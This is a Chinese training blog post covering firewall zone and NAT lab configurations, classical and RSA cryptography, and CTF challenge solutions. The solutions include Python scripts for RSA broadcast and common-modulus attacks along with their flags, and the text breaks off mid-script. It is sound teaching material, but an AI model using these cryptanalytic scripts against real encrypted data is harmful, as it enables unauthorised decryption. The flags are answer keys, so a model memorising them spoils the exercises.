网络攻防实战演练（国网山东泰安学习）

浅浅的花香味﹌ 2023-10-13 19:31 39阅读 0赞

#### 文章目录 ####

*  一、网络防火墙配置
 *   *  练习1-DMZ和Untrust域间策略配置
     *  练习2.三个区域配置拓扑
     *  练习3-源NAT地址转换实验
     *  模拟考
 *  二、网络安全—密码编码学
 *   *  1.常见编码（简要介绍，详细看ppt）
     *  2. 常见的古典密码类型（简要介绍，详细看ppt）
     *  3. 现代密码-rsa
     *  4. 密码-rsa常见的攻击方式的特点（靶场题目判断）
     *  5. 国网技术学院（泰安）靶场题目（讲解）
     *   *  \* 题目整体一览
         *  \* 凯撒加密（第一个为题目，第二个为解题程序，第三个为答案）
         *  \* base加密
         *  \* rsa广播攻击
         *  \* rsa共模攻击
         *  \* 摩斯电码
         *  \* 凯撒加密-3
         *  \* 凯撒加密-2
         *  \* 维吉尼亚
         *  \* 栅栏密码
         *  \* 云影密码
         *  \* base64隐写
         *  \* rsa低加密指数小明文
         *  \* rsa低解密指数1
         *  \* rsa
         *  \* basebase
 *  三、反编译可执行软件和解密
 *   *  1. 反编译靶场解题
     *   *  \* 题目整体一览
         *  \* re1
         *  \* re2
         *  \* re3
         *  \* re4
         *  \* re5
 *  四、红蓝安全攻防演练-WEB安全
 *  1. 靶场Web题目讲解
 *   *   *  \* 题目整体一览
         *  \* 代理拦截讲解
         *  \* php的有趣的特性
         *  \* phpBestLanguage
         *  \* 命令执行-ping ping ping
         *  \* 文件包含2
         *  \* 文件上传
         *  \* ssrf
         *  \* xff
         *  \* WEB-GET
 *  参考文档

## 一、网络防火墙配置 ##

### 练习1-DMZ和Untrust域间策略配置 ###

*  题目描述：为了实现untrust区域的PC1 2.2.2.1能访问DMZ区域的server1服务器，配置安全策略。
 *  最后配置形成的拓扑图  
    ![在这里插入图片描述][6fac1d1cd339416284e26883790b0b56.png]
 *  每个设备需要运行的命令（可直接复制执行）
    
     *  FW1
    
        system-view
        sysname FW1
        interface g0/0/1
        ip address 192.16.1.254 24
        interface g0/0/2
        ip address 2.2.2.254 24
        quit
        firewall zone dmz
        add interface GigabitEthernet 0/0/1
        firewall zone untrust
        add interface GigabitEthernet 0/0/2
        quit
        policy interzone untrust dmz inbound
        policy 2
        policy source 2.2.2.1 mask 32
        policy destination 192.16.1.1 mask 32
        action permit
        quit
        quit
 *  运行命令截图
    
     *  Server1  
        ![在这里插入图片描述][f4a9776df19249b3b8127ea1e94866d7.png]
     *  FW1  
        ![在这里插入图片描述][8e89362dd7da46aaae07ec061ebbeb6d.png]
     *  PC1  
        ![在这里插入图片描述][bd5d9db20f3e4c5295b3465e38c887ee.png]
 *  运行成功截图  
    ![在这里插入图片描述][6ef086be267d4f8186f34c86996caf29.png]

### 练习2.三个区域配置拓扑 ###

*  题目描述：配置防火墙的域间包过滤策略、PC1所在网段能够访问Client1，但是Client1无法访问PC1网段；Client1只允许访问Server1的ICMP、http服务。
 *  最后配置形成的拓扑图  
    ![在这里插入图片描述][c9b1136678794b598a4e8448674ed693.png]
 *  每个设备需要运行的命令（可直接复制执行）
    
     *  FW1
    
        system-view
        sysname FW1
        #防火墙接口配置
        interface GigabitEthernet0/0/1
        ip address 192.168.1.254 24
        interface GigabitEthernet0/0/2
        ip address 172.16.1.254 24
        interface GigabitEthernet0/0/3
        ip address 10.1.1.254 24
        quit
        #将防火墙接口添加到相应的安全区域
        firewall zone trust
        add interface GigabitEthernet0/0/1
        firewall zone dmz
        add interface GigabitEthernet0/0/2
        firewall zone untrust
        add interface GigabitEthernet0/0/3
        quit
        #配置域间策略
        policy interzone trust untrust outbound
        policy 10
        policy destination 10.1.1.1 mask 32
        policy source 192.168.1.0 mask 24
        action permit
        quit
        policy interzone untrust dmz inbound
        policy 1
        policy source 10.1.1.1 mask 32
        policy destination 172.16.1.1 mask 32
        policy service service-set icmp http
        action permit
        quit
        quit
 *  运行命令截图
    
     *  PC1  
        ![在这里插入图片描述][6893c717c30f40719a4e162d602ef1e4.png]
     *  FW1  
        ![在这里插入图片描述][94cb9e4d93bf46a387d4c84a641d4f43.png]
     *  Client1  
        ![在这里插入图片描述][167087dfe0bf4a3683947ed8e41e443e.png]
     *  Server1  
        ![在这里插入图片描述][8b7870143b1e4a1eaa255a43c80ed532.png]

![在这里插入图片描述][c5e9e6cffdcc40ff81bb51bf9c765d64.png]

*  运行成功截图  
    ![在这里插入图片描述][beb869e99ff540d4b7bf29655993072a.png]  
    ![在这里插入图片描述][90826d1d1f93436ebc4bbebeb6f258bf.png]  
    ![在这里插入图片描述][cc24ed5c40694578a38f5ef505181cdc.png]

### 练习3-源NAT地址转换实验 ###

*  题目描述：为了使私网中192.168.1.0/24网段的用户可以正常访问Internet，需要在NGFW上配置源NAT策略。除了公网接口的IP地址外，  
    公司还向ISP申请了2个IP地址（1.1.1.10～1.1.1.11）作为私网地址转换公网地址使用,转换后能访问1.1.1.0/24
 *  最后配置形成的拓扑图  
    ![在这里插入图片描述][dbde81b556124378be215f31f9e63a7e.png]
 *  每个设备需要运行的命令（可直接复制执行）
    
     *  AR2
    
        system-view
        sysname AR2
        interface GigabitEthernet 0/0/0
        ip address 192.168.1.254 24
        interface GigabitEthernet 0/0/1
        ip address 10.10.1.1 24
        quit
        ip route-static 0.0.0.0 0 10.10.1.2
    
     *  FW1
    
        system-view
        sysname FW1
        interface GigabitEthernet 0/0/1
        ip address 10.10.1.2 24
        interface GigabitEthernet 0/0/2
        ip address 1.1.1.254 24
        quit
        firewall zone trust
        add interface GigabitEthernet0/0/1
        firewall zone untrust
        add interface GigabitEthernet0/0/2
        quit
        ip route-static 0.0.0.0 0 1.1.1.1
        ip route-static 192.168.1.0 24 10.10.1.1
        #配置黑洞路由
        ip route-static 1.1.1.10 32 NULL0
        ip route-static 1.1.1.11 32 NULL0
        #配置域间区域
        policy interzone trust untrust outbound
        policy 1
        policy source 192.168.1.0 mask 24
        policy destination 1.1.1.0 mask 24
        policy destination 2.2.2.0 mask 24
        action permit
        quit
        quit
        #配置源地址
        nat address-group 1 1.1.1.10 1.1.1.11
        nat-policy interzone trust untrust outbound
        policy 2
        action source-nat 
        policy source 192.168.1.0 mask 24
        address-group 1 
        quit
        quit
    
     *  Router
    
        system-view
        sysname Router
        interface GigabitEthernet 0/0/0
        ip address 1.1.1.1 24
        interface GigabitEthernet 0/0/1
        ip address 2.2.2.254 24
        quit
        ip route-static 0.0.0.0 0 1.1.1.254
 *  运行命令截图
    
     *  AR2  
        ![在这里插入图片描述][d020069482fe413ba984a22913253640.png]
     *  FW1  
        ![在这里插入图片描述][c5cbe2c8f7f0463ea757c3d18ff9fcc0.png]
     *  Router  
        ![在这里插入图片描述][32040d6541f7429dafbf411fa69f6d5a.png]
     *  PC1  
        ![在这里插入图片描述][2705b5f065bd458e863ff26638a44c6d.png]
     *  PC2  
        ![在这里插入图片描述][41c763f31b0b4e5bbf4693e7044ac003.png]
     *  PC4  
        ![在这里插入图片描述][dfe70e1df149431bb4b409ad95489a72.png]
 *  运行成功截图  
    ![在这里插入图片描述][4e1a0b877d2f4f15849a4cfbc624db73.png]  
    ![在这里插入图片描述][7a019fc664134c80bddba4cb232f674a.png]

### 模拟考 ###

*  题目描述：

为了使私网中192.168.1.0/24网段的用户可以正常访问Internet，需要在NGFW上配置源NAT策略。
    	除了公网接口的IP地址外，公司还向ISP申请了2个IP地址（1.1.1.10～1.1.1.11）作为私网地址转换成公网地址使用,转换后能访问1.1.1.0/24和2.2.2.0/24地址。
    	网络环境如图所示，其中Router是ISP提供的接入网关。
    	1.配置PC办公终端IP地址、网关地址。
    	2.配置路由器接口地址、路由
    	（1）AR1配置出方向默认路由；
    	（2）Router配置接口地址。
    	3.配置防火墙
    	（1）配置接口地址，划分安全区域；
    	（2）配置互通路由：
    	出方向写默认路由、黑洞路由
    	入方向写明细路由。
    	（3）配置域间策略policy 1，使Trust区域192.168.1.0/24段地址能够访问Untrust区域1.1.1.0/24、2.2.2.0/24段地址。
    	4.配置NAPT,使内网192.168.1.0/24段用户转换成公网地址池address-group 1(1.1.1.10~1.1.1.11)访问internat。
    	5.验证，由PC1、PC2ping2.2.2.1,在防火墙查看会话列表，源地址nat是否转换成功

*  最后配置形成的拓扑图  
    ![在这里插入图片描述][7e359fc7198441b5ab54e927a204afa4.png]
 *  每个设备需要运行的命令（可直接复制执行）
    
     *  AR1
    
        system-view
        sysname AR1
        interface GigabitEthernet 0/0/0
        ip address 192.168.1.254 24
        interface GigabitEthernet 0/0/1
        ip address 10.10.1.1 24
        quit
        ip route-static 0.0.0.0 0 10.10.1.2
    
     *  FW
    
        system-view
        sysname FW
        interface GigabitEthernet 0/0/1
        ip address 10.10.1.2 24
        interface GigabitEthernet 0/0/2
        ip address 1.1.1.254 24
        quit
        firewall zone trust
        add interface GigabitEthernet0/0/1
        firewall zone untrust
        add interface GigabitEthernet0/0/2
        quit
        ip route-static 0.0.0.0 0 1.1.1.1
        ip route-static 192.168.1.0 24 10.10.1.1
        #配置黑洞路由
        ip route-static 1.1.1.10 32 NULL0
        ip route-static 1.1.1.11 32 NULL0
        #配置域间区域
        policy interzone trust untrust outbound
        policy 1
        policy source 192.168.1.0 mask 24
        policy destination 1.1.1.0 mask 24
        policy destination 2.2.2.0 mask 24
        action permit
        quit
        quit
        #配置源地址
        nat address-group 1 1.1.1.10 1.1.1.11
        nat-policy interzone trust untrust outbound
        policy 2
        action source-nat 
        policy source 192.168.1.0 mask 24
        address-group 1 
        quit
        quit
    
     *  Router
    
        system-view
        sysname Router
        interface GigabitEthernet 0/0/0
        ip address 1.1.1.1 24
        interface GigabitEthernet 0/0/1
        ip address 2.2.2.254 24
        quit
        ip route-static 0.0.0.0 0 1.1.1.254
 *  运行命令截图
    
     *  AR1  
        ![在这里插入图片描述][c2790dba5f724f9ba9236db0a82d1ddd.png]
     *  FW  
        ![在这里插入图片描述][cf250c52f2fd4693a5cd45e3a4c5fd3f.png]
     *  Router  
        ![在这里插入图片描述][32040d6541f7429dafbf411fa69f6d5a.png]
     *  PC1  
        ![在这里插入图片描述][2705b5f065bd458e863ff26638a44c6d.png]
     *  PC2  
        ![在这里插入图片描述][41c763f31b0b4e5bbf4693e7044ac003.png]
     *  PC3  
        ![在这里插入图片描述][6b683550fd9a441aaa7ab7bcdf2a8334.png]
 *  运行成功截图  
    ![在这里插入图片描述][4e1a0b877d2f4f15849a4cfbc624db73.png]

## 二、网络安全—密码编码学 ##

### 1.常见编码（简要介绍，详细看ppt） ###

1.  ascii 码  
    在计算机中，所有的数据在存储和运算时都要使用二进制数表示，ascii码即  
    为8位二进制对应256字符的码表。
2.  摩斯电码  
    使用“.”表示短音，使用“-”表示长音，使用“/”或“ ”表示分隔符。
3.  base编码  
    base编码存在的意义是将所有字符的表达集中在一些常见的、可见的字符集  
    上。

### 2. 常见的古典密码类型（简要介绍，详细看ppt） ###

1.  栅栏密码：  
    栅栏密码密钥只有一个数字k，表示栅栏的长度，就是将加密的明文分成k个  
    一组，然后依次把每组的第n个字连起来，形成一段无规律的话。
2.  凯撒密码：  
    明文中的所有字母都在字母表上向后（或向前）按照一个固定数目进行偏移  
    后被替换成密文。
3.  维吉尼亚密码：（特殊的凯撒密码）  
    维吉尼亚密码则是由一些偏移量不同的恺撒密码组成。为了生成密码，需要使用表格法。偏移量由密码的密钥决定。
4.  云影密码：  
    又称01248密码，用0做间隔，其他非零数隔开后，每组加起来表示序号为  
    1-26的英文字母，只有大写。

### 3. 现代密码-rsa ###

*  RSA是典型非对称加密系统，其加解密难度基于大整数分解问题。
 *  加密过程  
    公钥（E，N）  
    ![在这里插入图片描述][20191008011532411.png]
 *  解密过程  
    私钥（D，N）  
    ![在这里插入图片描述][201910080119101.png]
 *  E和D是如何计算得到的过程  
    ① 准备两个互质数p，q（提前和大家说明一点，相同的p，q下可以得到多对的E和D）  
    ② N = p \* q  
    ③ L = lcm（p－1，q－1)：lcm表示求最小公倍数  
    ④ 求E：不是唯一的，任取一个。满足后面两个条件即可，gcd表示最大公约数：  
    1<E<L，同时 gcd（E，L）=1（也就是E和L互质）  
    ⑤ 求D ：当E确定了，D的值也变得唯一，因为只能算出一个。需要满足两个条件，同时这时D的计算方式比较麻烦，只能枚举2到L计算得到（可以参考作者使用java写的程序）  
    1 < D < L，同时E＊D mod L ＝ 1  
    ⑥ 通过具体数字解释
    
        public static void main(String[] args) {
              
            // 保证p和q互质即可
            Integer p=17;
            Integer q=19;
            //计算得到 n=p＊q＝ 323；
            Integer n=p*q;
            // L ＝ lcm（p－1， q－1）＝ lcm(16，18） ＝ 144
            Integer L=144;
            // 随机取的一个5，满足互质条件即可。（这里也可以取7，取的不同，后面得到的D也会不同）
            Integer E=5;
            Integer D;
            //循环之后得到一对公钥（5），私钥（19）；实际上公钥私钥都是相对的，如果公钥为 19，那么私钥则为 5；
            for (int i = 2; i < 144; i++) {
              
                D=i;
                if(E*D % L == 1){
              
                    System.out.println(D);
                    break;
                }
            }
            // 假设明文 ＝ 123，则 密文＝（123的5次方）mod 323=225。
            // 解密：明文＝（225的29次方）mod 323 =123，所以解密后的明文为123。（作者无法通过java演示，因为数字会过大，导致计算错误）
        }

### 4. 密码-rsa常见的攻击方式的特点（靶场题目判断） ###

1.  rsa广播攻击：有多个C（明文），多个N
2.  rsa共模攻击：有2个及两个以上的E，一个N
3.  rsa低加密指数小明文：E（公钥）比较小
4.  rsa低解密指数（也称为维纳攻击）：E（公钥）特别大

### 5. 国网技术学院（泰安）靶场题目（讲解） ###

#### \* 题目整体一览 ####

![在这里插入图片描述][06a5fc00f3c345bdaeeb567ffd8f2c73.png]

#### \* 凯撒加密（第一个为题目，第二个为解题程序，第三个为答案） ####

*  题目
    
        型如flag{***}加密后，密文为gmcj\x80o|\x84\x86X\xd6，求明文。
    
        a='gmcj\x80o|\x84\x86X\xd6'
        b='flag{'
        c=''
        for i in range(5):
        	print(ord(a[i])-ord(b[i]))
        temp1=1
        temp2=1
        temp3=1
        for i in range(len(a)):
        	c+=chr(ord(a[i])-temp1)
        	temp3=temp2
        	temp2=temp1+temp2
        	temp1=temp3
        print(c)
    
        flag{good!}

#### \* base加密 ####

*  题目：
    
        Nhwit8Y3NUordknZocPMYFRxj2KiaJCsvVZtQ8NXCzTU4ZGCGfkTtqrycGbmadsQTLfmsK2
    
        flag{327a6c4304ad5938eaf0efb6cc3e53dc}
    
     *  解题思路  
        ![在这里插入图片描述][baacfff11dc6469cb667c4a9c32c2b64.png]  
        ![在这里插入图片描述][b5d5d1ae76dd4a75bed3f1ee27d9f653.png]  
        ![在这里插入图片描述][a4e507b362f44d6fa1b43d0b0e998671.png]  
        ![在这里插入图片描述][29ce8bba4fae493ab643f614f9213163.png]

#### \* rsa广播攻击 ####

*  题目
    
        e = 13
        n1=
        92524936991597191087876963970818192699000837471047570833361814863690117215624182271726144669041983505659467638902416579902938926994684371370584528161658547137504224359103726996826330103457438735550313924659788985151016583670871569078001520895163276682652024979721765888037313024073111969080028401548915584860529087833415360261729733573929336020153998495183047171374610008025906107007868189633396254936451371399512715206524180885726466631961171680737032684040558335907848994165579980698323394324757126691913004750279340397367992376919586081940814067537894461505284800627760042934366651060568756658632559
        n2=
        47882861583493769792652043915895885711938470011006735368086234918311630735291944884018382340034749356966691872199889087827165231003497124805297898314252131347116985861108032822805283869274755918189419610079937290554651399231597891881104734201327052955612523091262899866624251672392475330631436413697327575811187455580631861926088113872524607626161284142479284858683841270009524277280994923793597438628338107326420845170238602288323355648736295910738442702007217991223982629181446112444553483593640081243492596463130017759009113212441145454676101800987537042692739071914495135292776335690885163386239823
        n3=
        105121345161568778537500796564275801401688120648445009173256974993138370917194265956191653980821195803457686157829335539012829141165774234357585374787579491811543376426820559128464240217101697871504951848038499315061750224915924576236894677500809983104794816902716120180059054924047804882769032274460760929849651216442149592488466827102265838579767250228595595985281651367536842639511918837429414489458024639144491007786519471599065644854371866037488287093126401150008050984606591522815813056118371138671245796393328811148380957740025982059114031866967745062373001639733954044095500428145039342544316863
        c1=
        44021578094179205932288298141583959143684018023664861177042691325754443818081769084395526425284909486720278064005104021870779164431277103806967796287490679352306668404569592132266698373208122284552264163546051651872409079297010913580413579444650783707897056758786659608737964832479995896968436467220867962184514688618565540693876233579366577229142298900560553639547522576819353391241452856878889145548736763265869688622430860748392365294208339009676510164941363680546926816583009736795353772131670880911914898624023087011402631179428290830080632860018539213282913972994459264975373437732385771617501637
        c2=
        19445073906555253525537245829874857990059701639831505552348010486285159596127835263918512553697397476873127356642619496234633582423750907283097479961744699507154761785876909054640469070258906229634558472281655582285098166686817554016788306501605263871435722422254644063131311882876128400550920237748436643513210258820188176528482039434419377375796274744374628283314059522000471608750708748421030848435993883391350222398896915429103628495322429882381312084266081599604608032101884229888851328850487143780426635290589683937293327728914907025978560639685595554270915517277993755511283304326189949765982897
        c3=
        89991155615199608389965602227251502610230252313158034447374008510409684542002392814878747524489155039338425955744133893962504874964491819169815804880568448244729828000774292853049676484446788711185335159667765003208350967995541408188418810764716808842626467643283794783242721462622492803175198830142984334432322052011230222733236145604638886913445503989451701053752307663530348935590174311775001895650764826399881247640558440586130482610759307610366060500592395382481045472877136782085374872948572290907761673984329777238817152204414479425934681180267452178076205241878700707237400323702289456477071714
        
        求明文m。
    
        #exp
        #coding:utf-8
        from Crypto.Util.number import long_to_bytes,bytes_to_long
        
        from gmpy2 import invert, iroot
        def broadcast(n1, n2 ,n3, c1, c2, c3):
        	n = [n1, n2, n3]
        	C = [c1, c2, c3]
        	N = 1
        	for i in n:
        		N *= i
        		Ni = []
        	for ni in n:
        		Ni.append(N // ni)
        		T = []
        	for i in range(3):
        		T.append(invert(Ni[i], n[i]))
        		X = 0
        	for i in range(3):
        		X += C[i] * Ni[i] * T[i]
        	m = X % N
        	return m
        def main():
        	e = 13
        	n1=92524936991597191087876963970818192699000837471047570833361814863690117215624182271726144669041983505659467638902416579902938926994684371370584528161658547137504224359103726996826330103457438735550313924659788985151016583670871569078001520895163276682652024979721765888037313024073111969080028401548915584860529087833415360261729733573929336020153998495183047171374610008025906107007868189633396254936451371399512715206524180885726466631961171680737032684040558335907848994165579980698323394324757126691913004750279340397367992376919586081940814067537894461505284800627760042934366651060568756658632559
        	n2=47882861583493769792652043915895885711938470011006735368086234918311630735291944884018382340034749356966691872199889087827165231003497124805297898314252131347116985861108032822805283869274755918189419610079937290554651399231597891881104734201327052955612523091262899866624251672392475330631436413697327575811187455580631861926088113872524607626161284142479284858683841270009524277280994923793597438628338107326420845170238602288323355648736295910738442702007217991223982629181446112444553483593640081243492596463130017759009113212441145454676101800987537042692739071914495135292776335690885163386239823
        	n3=105121345161568778537500796564275801401688120648445009173256974993138370917194265956191653980821195803457686157829335539012829141165774234357585374787579491811543376426820559128464240217101697871504951848038499315061750224915924576236894677500809983104794816902716120180059054924047804882769032274460760929849651216442149592488466827102265838579767250228595595985281651367536842639511918837429414489458024639144491007786519471599065644854371866037488287093126401150008050984606591522815813056118371138671245796393328811148380957740025982059114031866967745062373001639733954044095500428145039342544316863
        	c1=44021578094179205932288298141583959143684018023664861177042691325754443818081769084395526425284909486720278064005104021870779164431277103806967796287490679352306668404569592132266698373208122284552264163546051651872409079297010913580413579444650783707897056758786659608737964832479995896968436467220867962184514688618565540693876233579366577229142298900560553639547522576819353391241452856878889145548736763265869688622430860748392365294208339009676510164941363680546926816583009736795353772131670880911914898624023087011402631179428290830080632860018539213282913972994459264975373437732385771617501637
        	c2=19445073906555253525537245829874857990059701639831505552348010486285159596127835263918512553697397476873127356642619496234633582423750907283097479961744699507154761785876909054640469070258906229634558472281655582285098166686817554016788306501605263871435722422254644063131311882876128400550920237748436643513210258820188176528482039434419377375796274744374628283314059522000471608750708748421030848435993883391350222398896915429103628495322429882381312084266081599604608032101884229888851328850487143780426635290589683937293327728914907025978560639685595554270915517277993755511283304326189949765982897
        	c3=89991155615199608389965602227251502610230252313158034447374008510409684542002392814878747524489155039338425955744133893962504874964491819169815804880568448244729828000774292853049676484446788711185335159667765003208350967995541408188418810764716808842626467643283794783242721462622492803175198830142984334432322052011230222733236145604638886913445503989451701053752307663530348935590174311775001895650764826399881247640558440586130482610759307610366060500592395382481045472877136782085374872948572290907761673984329777238817152204414479425934681180267452178076205241878700707237400323702289456477071714
        	m = broadcast(n1, n2 ,n3, c1, c2, c3)
        	print(long_to_bytes(iroot(m,e)[0]))
        	print(m)
        if __name__=="__main__":
        	main()
    
        flag{09a3f8480a4a95478274b23fcec4073b}

#### \* rsa共模攻击 ####

*  题目
    
        n=4606214404559381625811305893421796457727307893522234545002637928126211269316759285703114898387185124444125403886775937362327115049887275542033614535006266982230728414436881929499120917023099931731154480279878961462890606099680544893518162357543517663448598189398364777700764201628600330674624309734150799327802881199123017672936478453599758403904501509023550075462646307259074918554393814051649454027370323722466596794338785975786762544233089948295159326932530142156693536761290325166663837198648438565756950669154631177080413510965650961179598568656438763915125788387042278733534990706259579644193764771790940175060031403391673835392301230762706826357767139806907288386554701237375970122539874558801064426127357993451875548199398779957689591805731666683159713949539956972421365823968509961851731675821768810158549871866855970380999634262510655193972343386664235281822656401649891282959851508174717635599479503678209534201303747137636130146004985863109286598472225239106174001881488566658746814277408673886092025714672774526054105715514515828695891197567723115621647063617381815989618596582463826784688350794675454728821530564058656768355901167368323058748745770407030433581712448954059916009598250320631
        
        e1=3961
        
        e2=39661
        
        c1=3837499388455120656867996348713152796258019690191969988843127291215462712127620403068753553367088567073867471571201908322320465885943205429972913247041289009706287142724312212436737393236413143994626064490297937530087295750992739586545671144359484383264416324198087122816045177774320769235002566511128670719776095088328298829387614542992594074076230396124614177801908183924912637040706013914289088681433669011388036613446129356409413670671292406747678040705779573864607561270257783753748995854744272261777745636348393124375470191723259093713990560245604156212381175794384987660240632069882683243408009197662876297392776499829139942540170411011193477140582442543447240154732018020414636543952622244587297337516302276577587483341242855629750723299196962652280980029833172306621035030602001489526266471628252411072394649732898826828650082323467831447543341986110050674843712168131578454880285847519984505884537048953401917291988302822640969586523078595398214110577364335572792040908066353542797711044609986818407526276623134883604311196929194845167221887179349308411987286918430402955406174717953513907354499985297123553922220999152076137186010008440300860402391806368607939701458636422792104581468853500339
        
        c2=516144633013811112886792001654989445834450364017535055282084776134066047140744541127402208154454108824957465184368293981255055118766542087965844721575465557839124537125203069445424537449162248750901106984608201441498157229171325843327039518601149565688635319745251796978492834090711540621416140758667450469649514609322384993669552881669681643734184080837236954659699909281354088531456248420524775156766607176790285297650370408663229065136104192025279935464662164797806028666156110000187437655498203412062698329219949262308813700244536928610798624752546494028242097373072925895540589396299985380749410374578133264869591859011242071818144027791627763313385218323524098953707340678077645156833716581370443623533390586314124336677442618178538774474320682299728631032427623000842464650999067403676635741792096149059056559990879456070044148573842587508520690390257812232611111313987359329328645067153673069467853801400328324497262436640915685606632521893541501538305824059283975767319250940633479844145489924915801010604008722966099476172080678828712862231281409246368873360519426922362725054985113908840947023751123519796668861742282682908592604065917742647822853267591956812814541551684160810120141854610728
        
        
        求明文m。
    
        import libnum
        import gmpy2
        
        n=4606214404559381625811305893421796457727307893522234545002637928126211269316759285703114898387185124444125403886775937362327115049887275542033614535006266982230728414436881929499120917023099931731154480279878961462890606099680544893518162357543517663448598189398364777700764201628600330674624309734150799327802881199123017672936478453599758403904501509023550075462646307259074918554393814051649454027370323722466596794338785975786762544233089948295159326932530142156693536761290325166663837198648438565756950669154631177080413510965650961179598568656438763915125788387042278733534990706259579644193764771790940175060031403391673835392301230762706826357767139806907288386554701237375970122539874558801064426127357993451875548199398779957689591805731666683159713949539956972421365823968509961851731675821768810158549871866855970380999634262510655193972343386664235281822656401649891282959851508174717635599479503678209534201303747137636130146004985863109286598472225239106174001881488566658746814277408673886092025714672774526054105715514515828695891197567723115621647063617381815989618596582463826784688350794675454728821530564058656768355901167368323058748745770407030433581712448954059916009598250320631
        e1=3961
        e2=39661
        c1=3837499388455120656867996348713152796258019690191969988843127291215462712127620403068753553367088567073867471571201908322320465885943205429972913247041289009706287142724312212436737393236413143994626064490297937530087295750992739586545671144359484383264416324198087122816045177774320769235002566511128670719776095088328298829387614542992594074076230396124614177801908183924912637040706013914289088681433669011388036613446129356409413670671292406747678040705779573864607561270257783753748995854744272261777745636348393124375470191723259093713990560245604156212381175794384987660240632069882683243408009197662876297392776499829139942540170411011193477140582442543447240154732018020414636543952622244587297337516302276577587483341242855629750723299196962652280980029833172306621035030602001489526266471628252411072394649732898826828650082323467831447543341986110050674843712168131578454880285847519984505884537048953401917291988302822640969586523078595398214110577364335572792040908066353542797711044609986818407526276623134883604311196929194845167221887179349308411987286918430402955406174717953513907354499985297123553922220999152076137186010008440300860402391806368607939701458636422792104581468853500339
        c2=516144633013811112886792001654989445834450364017535055282084776134066047140744541127402208154454108824957465184368293981255055118766542087965844721575465557839124537125203069445424537449162248750901106984608201441498157229171325843327039518601149565688635319745251796978492834090711540621416140758667450469649514609322384993669552881669681643734184080837236954659699909281354088531456248420524775156766607176790285297650370408663229065136104192025279935464662164797806028666156110000187437655498203412062698329219949262308813700244536928610798624752546494028242097373072925895540589396299985380749410374578133264869591859011242071818144027791627763313385218323524098953707340678077645156833716581370443623533390586314124336677442618178538774474320682299728631032427623000842464650999067403676635741792096149059056559990879456070044148573842587508520690390257812232611111313987359329328645067153673069467853801400328324497262436640915685606632521893541501538305824059283975767319250940633479844145489924915801010604008722966099476172080678828712862231281409246368873360519426922362725054985113908840947023751123519796668861742282682908592604065917742647822853267591956812814541551684160810120141854610728
        
        def exp_def(e1,e2,c1,c2,n):
            s,s1,s2 = gmpy2.gcdext(e1, e2)
            m = gmpy2.iroot((pow(c1,s1,n) * pow(c2 ,s2 ,n)) % n,s)[0]
            return int(m)
        
        m=exp_def(e1,e2,c1,c2,n)
        print(libnum.n2s(m))
    
        flag{gongmogongji!}

#### \* 摩斯电码 ####

*  题目
    
        -- --- .-. ... . -.-. --- -.. .
    
        flag{MORSECODE}
    
     *  解题思路  
        ![在这里插入图片描述][07e362a2df3645b59a2e95d72618ea16.png]

#### \* 凯撒加密-3 ####

```txt
    table = ['00000', '00001', '00010', '00011', '00100', '00101', '00110', '00111', '01000', '01001', '01010', '01011', '01100', '01101', '01110', '01111', '10000', '10001', '10010', '10011', '10100', '10101', '10110', '10111', '11000', '11001', '11010', '11011']
    
    alphabet = 'abcdefghijklmnopqrstuvwxyz{}'
    
    flag = '************'
    c = ''
    count=0
    for i in flag:
    	count=count+1
    	print(count)
    	c+= table[alphabet.index(i)]
    print(c)
    
    # c='0010101011000000011011010100110000001000000000110110111010000000001110100001010011011'	
    ```
    ```python
    table = ['00000', '00001', '00010', '00011', '00100', '00101', '00110', '00111', '01000', '01001', '01010', '01011', '01100', '01101', '01110', '01111', '10000', '10001', '10010', '10011', '10100', '10101', '10110', '10111', '11000', '11001', '11010', '11011']
    
    alphabet = 'abcdefghijklmnopqrstuvwxyz{}'
    
    flag = ''
    b=[]
    c = '0010101011000000011011010100110000001000000000110110111010000000001110100001010011011'
    for i in range(0,len(c),5):
    	print(c[i:i+5])
    	flag+=alphabet[table.index(c[i:i+5])]
    print(flag)
    
    # c='0010101011000000011011010100110000001000000000110110111010000000001110100001010011011'
    ```
    ```txt
    flag{taianxiaoqu}
    ```

#### \* 凯撒加密-2 ####

*  题目
    
        密文为fkcd\x7f_=\\<+<X@ q%s&?!JNL\x16Q\x1bJ\x1cI\x16SGP\x12R>X\x11\x89?ZT，明文型如flag{***}。
    
        a='fkcd\x7f_=\\<+<X@ q%s&?!JNL\x16Q\x1bJ\x1cI\x16SGP\x12R>X\x11\x89?ZT'
        b='flag{'
        c=''
        for i in range(5):
        	print(ord(a[i])-ord(b[i]))
        for i in range(len(a)):
        	if i%2==0:
        		c+=chr(ord(a[i])-i)
        	else:
        		c+=chr(ord(a[i])+i)
        print(c)
    
        flag{d7c442c4-c4c7-46c6-9407-35f030a46cf2}

#### \* 维吉尼亚 ####

*  题目
    
        密文为``ZbsQc[^i\xe0m_SbnWq_frZainYk`kocb`\x1c\x19x由维吉尼亚密码加密而来，密钥6位，明文为型如flag{***}。
    
        a='``ZbsQc[^i\xe0m_SbnWq_frZainYk`kocb`\x1c\x19x'
        b='flag{'
        c=''
        
        # 维吉尼亚密码
        for i in range(5):
        	print(ord(a[i])-ord(b[i]))
        key=[-6,-12,-7,-5,-8,-5]
        key.append(5)
        print(key)
        for i in range(len(a)):
        	c+=chr(ord(a[i])-key[i%6])
        print(c)
    
        flag{Vigenère_is_very_interesting!!}

#### \* 栅栏密码 ####

*  题目
    
        一串型如flag{***}的字符串栅栏加密后为：fghai}l{anmazlma，其中栏数为3。
    
        # _*_ encoding:utf-8 _*_
        import math
        
        
        def buwei(encrypted_str,fence_length):    # 比如 14，4
            str_len = len(encrypted_str)
            fence_count = math.ceil(str_len/ fence_length)   # 得出4
            target_length = fence_count*fence_length
            jiequ = []
            while str_len<target_length:
                encrypted_str = encrypted_str + '*'
                jiequ.append(encrypted_str[-fence_count :])
                encrypted_str = encrypted_str[:-fence_count]
                str_len += 1
        
            jiequ.reverse()
            s = ''
            for i in jiequ:
                s = s + i
        
            result = encrypted_str + s
            return result
        
        
        def decrypt_fence(encrypted_str,fence_length):
            encrypted_str = buwei(encrypted_str,fence_length)
            if fence_length>=len(encrypted_str) or fence_length<1:
                print("栅栏长度太大或者太小，无需解密")
                return
            fence_count = math.ceil(len(encrypted_str)/fence_length)
            elen=len(encrypted_str)
        
            # b = elen // f  # 用字符串实际长度除以上面计算出能整出的数字f
            result = {
              x: '' for x in range(fence_count)}
            for i in range(elen):  # 字符串有多少位，就循环多少次
                a = i % fence_count
                result.update({
              a: result[a] + encrypted_str[i]})  # 字符串截断，并更新数据
            d = ''
            for i in range(len(result)):
                d += result[i]
        
